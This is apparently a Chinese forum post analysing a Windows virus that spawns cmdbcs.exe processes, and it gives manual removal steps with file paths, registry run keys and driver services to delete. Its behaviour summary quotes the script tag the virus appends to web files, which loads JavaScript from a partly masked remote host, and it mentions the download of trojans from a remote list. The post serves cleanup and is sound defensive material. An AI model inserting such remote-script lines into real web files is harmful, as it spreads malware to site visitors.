最近电脑突然卡，发现进程了多了很多个cmdbcs.exe
感觉不对，马上从收藏夹里找到在线杀毒http://www.antidu.cn/board/online/查杀
果然，瑞星报毒！！！
1.病毒运行后，释放如下副本以及文件：
%systemroot%\system32\wxptdi.sys
2.释放一个批处理停止windows防火墙服务
3.检测进程中是否存在avp.exe如果存在则把时间改为2001年
4.启动一个空壳的wuauclt.exe把%systemroot%\system32\wxptdi.sys（其实和ntuser.com是同一个文件）的代码完全注入进去
5.感染全盘的phpjspasphtmhtml文件在后面写入<scriptlanguage=javascriptsrc=http://cc.18d***.net/1.js></script>的代码
6.wuauclt.exe执行下载木马的操作
读取http://*.com/elf_listo.txt的文件列表
下载27个木马和病毒到c:\programfiles下面分别命名为csrss0.exe～csrss9.execsrssa.exe～csrsst.exe
清除办法：
下载sreng：http://www.antidu.cn/board/helpst/
1.删除：
%systemroot%\system32\drivers\msconkt.sys
%systemroot%\system32\avpsrv.dll
%systemroot%\system32\cmdbcs.dll
%systemroot%\system32\dbghlp32.dll
%systemroot%\system32\kvsc3.dll
%systemroot%\system32\lyloader.exe
%systemroot%\system32\lymangr.dll
%systemroot%\system32\msdeg32.dll
%systemroot%\system32\nvdispdrv.dll
%systemroot%\system32\regkey.hiv
%systemroot%\system32\ssldyn.dll
%systemroot%\system32\wxptdi.sys
%systemroot%\608769l.exe
%systemroot%\608769m.exe
%systemroot%\608769mm.dll
%systemroot%\608769wl.dll
%systemroot%\avpsrv.exe
%systemroot%\cmdbcs.exe
%systemroot%\dbghlp32.exe
%systemroot%\kvsc3.exe
%systemroot%\nvdispdrv.exe
%systemroot%\ssldyn.exe
%systemroot%\system32\fat32.sys（%systemroot%为环境变量，表示你的系统文件夹安装位置，对于系统盘安装在c盘的xp用户即为%systemroot%以此类推）
2.重启之后
打开sreng
启动项目注册表删除如下项目
[hkey_local_machine\software\microsoft\windows\currentversion\run]
<ssldyn><%systemroot%\ssldyn.exe>[]
<cmdbcs><%systemroot%\cmdbcs.exe>[]
<winsysm><%systemroot%\608769m.exe>[]
<winsysw><%systemroot%\608769l.exe>[]
<kvsc3><%systemroot%\kvsc3.exe>[]
<avpsrv><%systemroot%\avpsrv.exe>[]
<nvdispdrv><%systemroot%\aorwpw.exe>[n/a]
<dbghlp32><%systemroot%\dbghlp32.exe>[]
在“启动项目”-“服务”-“驱动程序”中点“隐藏经认证的微软项目”，
选中以下项目，点“删除服务”，再点“设置”，在弹出的框中点“否”：
[rasasynchronousmediadriver/asyncmac][running/autostart]
<system32\drivers\msconkt.sys><n/a>（之前的comint32.sys变种）
[rasasynchronousmediadriver/ccdecode][running/autostart]
<system32\drivers\msconkt.sys><n/a>
[pciharddisk/pciharddisk][stopped/manualstart]
<\??\%systemroot%\system32\fat32.sys><n/a>（机器狗病毒变种）
3.清除机器狗病毒
参考http://www.antidu.cn/html/1/2007/12/antidu_20071217212429l
解决方法第三点即可
4.清除gd*i32.dll，bj*rl.dll，addr*help.dll木马群
参考http://www.antidu.cn/html/1/2007/12/antidu_20071210194454l即可